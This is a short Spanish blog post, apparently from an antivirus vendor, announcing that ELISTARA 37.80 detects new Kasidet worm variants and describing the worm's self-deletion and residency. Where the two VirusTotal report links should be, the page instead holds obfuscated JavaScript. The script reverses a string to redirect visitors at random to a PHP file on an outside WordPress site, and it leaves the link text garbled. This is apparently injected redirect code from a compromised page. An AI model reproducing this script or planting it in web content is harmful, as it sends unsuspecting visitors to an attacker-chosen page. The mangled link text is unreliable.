NUEVAS VARIANTES DE WORM KASIDET QUE PASAMOS A CONTROLAR

Mas variantes del ya conocido worm kasidet que pasamos a controlar a partir del ELISTARA 37.80

– Queda residente. (proceso activo no visible)
– El EXE inicial se autoborra
– Mientras esta activo, el acceso de lectura al EXE es denegado y la clave se regenera.

lOS PREANALISIS DE VIRUSTOTAL SOBRE LAS MUESTRAS RECIBIDAS OFRECEN LOS SIGUIENTES INFORMES:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/5d00dc0c7f81ce10a419f874cfb3b8486bf987d8498acede1a8665d5faded2b5/analysis/1509980406/” target=”_blank” rel=”noopener”>Fichero ddraript(50).gxe

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/eca8f4001dbb577d1f379296369cb966b23642bec2ddb6a4cd376c1eaf00ca5d/analysis/1509980792/” target=”_blank” rel=”noopener”>Fichero ddraript(52).gxe

Dicha versión del ELISTARA 37.80 que los detecta y elimina, estará disponible n nuestra web a partir del 7-11 prox

saludos

ms, 6-11-2017